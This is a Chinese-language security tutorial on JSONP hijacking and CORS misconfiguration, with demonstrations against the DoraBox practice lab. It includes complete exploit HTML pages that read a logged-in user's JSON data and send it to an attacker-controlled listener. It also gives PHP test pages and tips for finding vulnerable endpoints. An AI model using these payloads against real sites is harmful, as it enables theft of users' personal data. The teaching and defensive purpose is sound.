jsonp劫持与CORS漏洞
0X00-引言
给朕去燕尾服来,B站这跨年上流,太TM上流了
vae 素颜 爷青回
0X01-同源策略与跨域
同源策略是浏览器安全的一个策略
同源策略:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。简单来说同源策略就是浏览器会阻止一个源与另一个源的资源交互。可以试想一下,如果没有同源策略,当你访问一个正常网站的时候又无意间打开了另一个恶意网站,恶意网站会从你刚刚访问的正常网站上窃取你全部的信息。
同源是指:协议、域名、端口号都相同,三者其一不同都不能称为同源。
同源限制:
- 存储在浏览器的数据不能通过脚本跨域访问
- 不能通过脚本操作不同域下的DOM
- 不能通过ajax请求不同域的数据
跨域是不同源之间的资源访问
跨域方法举例:
- jsonp跨域(只接受get方法)(非官方技术)(奇淫技巧)
- CORS(跨资源共享)
对同源策略免疫的标签
<img>
的 src<link>
的 href<script>
的src
0X02-jsonp劫持
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。实现的基本原理是利用了 HTML 里 元素标签没有跨域限制,远程调用 JSON 文件来实现数据传递,jsonp 本身不是漏洞,它仅仅是一种兼容性非常棒的跨域通信方式,那么是么时候会被认为是漏洞呢?当 jsonp 的返回数据为用户敏感数据,并且这个 jsonp 的检验不严格导致可以被外部利用,这时候就可以称之为 jsonp 敏感信息泄露漏洞。
JSONP的语法和JSON很像,简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下:
callback({ "name": "kwan" , "msg": "获取成功" })
0X03-jsonp劫持演示
靶场:DoraBox
http://192.168.234.141/DoraBox/
测试POC-伪造一个页面-使用kali作为攻击者服务器
src中填写有jsonp数据的链接
<!doctype html>
<html>
<title>test file</title>
<body>
<script>
function test(jsonp){
document.write(JSON.stringify(jsonp));
}
</script>
<script src="http://192.168.234.141/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>
python -m SimpleHTTPServer 666 #开启web服务
访问http://192.168.234.135:666/jsonp.html
经验证存在jsonp劫持漏洞
我们构造exp,同时开启web服务
诱导用户访问该exp,使用户的jsonp数据发送到攻击者服务器上面
exp中反弹数据的端口为888
web服务端口为666
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<img src="?" id="img">
<script type="text/javascript">
function test(data)
{document.getElementById('img').src="http://192.168.234.135:888/?test=" +
JSON.stringify(data);}
</script>
<script src="http://192.168.234.141/DoraBox/csrf/jsonp.php?callback=test">
</script>
</body>
</html>
开启监听-访问exp
一直转圈圈
将得到的数据url解码得到jsonp数据
挖掘方法
寻找script类型的并且包含jsonp特征的资源
谷歌语法:site:target.com inurl:?callback
浏览器-开发者工具-网络-搜索关键词(json / jsonp / callback)
检查响应有无敏感信息
关键词:
cb
callback
jsoncb
jsonp
jQuery
jsoncallback
jsonpcallback
jsoncall
jsonpcall
0X04-防御措施
json正确的http头输出尽量避免跨域的数据传输,对于同域的数据传输使用xmlhttp的方式作为数据获取的方式,依赖于javascript在浏览器域里的安全性保护数据。如果是跨域的数据传输,必须要对敏感的数据获取做权限认证。
0X05-参考
0X06-CORS漏洞
CORS 是一个 W3C标准,全称是 "跨域资源共享"(Cross-origin resource sharing) 。它允许浏览器向跨源服务器发出 XMLHttpRequest 请求,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。
CORS漏洞则是利用CORS技术窃取用户敏感数据,CORS漏洞的成因是服务端配置的规则不当所导致的,服务器端没有配置Access-Control-Allow-Origin等字段。
CORS中关键的几个HTTP头字段如下:
- Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。
- Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。当设置为true时,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。现实环境中的CORS,几乎都是必定需要cookie的
- Access-Control-Allow-Methods:用来判断浏览器通过什么方式发起的,默认是content-type,如果后端服务器未配置这个请求头,或者仅允许content-type而浏览器通过XMLHttpRequest发起,也会跨域失败
- Access-Control-Allow-Headers:指定可以在请求报文中添加的HTTP头字段;
- Access-Control-Max-Age:指定超时时间;
0X07-CORS漏洞演示
访问靶场http://192.168.234.141/DoraBox/
burp抓包-分析-发现此等字段心想有点CORS的意思(此时假装不知道是靶场)
添加Origin字段-条件满足-存在CORS漏洞
EXP:
<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("GET", "http://192.168.234.141/DoraBox/csrf/userinfo.php",'true');
req.withCredentials = true;
req.send('{}');
function reqListener(){
alert(this.responseText);
location='http://192.168.234.135:888/?key='+this.responseText;
};
</script>
</body>
</html>
生成html文件-windows系统双击即可弹出json信息
制作exp诱导用户点击,是用户访问网站的json信息发送到攻击者服务器(kali),kali监听端口
图中文件放入kali-开启web服务-index.html不需要(截图时没删除)
get.php源码:
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<?php echo @$_GET["url"];?>',true);
// req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: <?php echo @$_GET["url"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
// document.write(this.responseText);
};
</script>
</body>
</html>
POST.PHP源码
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
var data = "<?php echo @$_GET["data"];?>";
req.onload = reqListener;
req.open('post','<?php echo @$_GET["url"];?>',true);
req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send(data);
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: <?php echo @$_GET["url"];?><br>Data: <?php echo @$_GET["data"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
// document.write(this.responseText);
};
</script>
</body>
</html>
先开启监听再访问http://192.168.234.135:666/CORS/Exp.html
点击确定
kali接受到信息
url解码-这时就可以从黑客服务器看到用户的json信息
挖掘思路:
get请求的json形式敏感信息,请求头中添加任意Origin值
看返回头中是否存在以下
Access-Control-Allow-Origin:https:和请求头中Origin值一样
Access-Control-Allow-Credentials:true
若存在,构造POC进行跨域读取json数据
burp快速过滤
访问认为有CORS的页面
过滤-将Access-Control-Allow-Origin:https:*
填入-如下
危害:
- 获取用户数据
- 客户端缓存中毒:这种配置允许攻击者利用其他的漏洞,更改没有验证的字段,看是否正常回显。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上,此时就可以结合XSS漏洞来利用。
- 服务端缓存中毒:利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss
0X08-修复建议
仔细评估是否开启CORS,如果不必要就不要开启CORS。
如果是绝对必要的话,要定义“源”的白名单。尽量不使用正则表达式配置,不要配置“Access-Contol-Allow-Origin”为通配符“*”,同时严格校验来自请求的Origin值。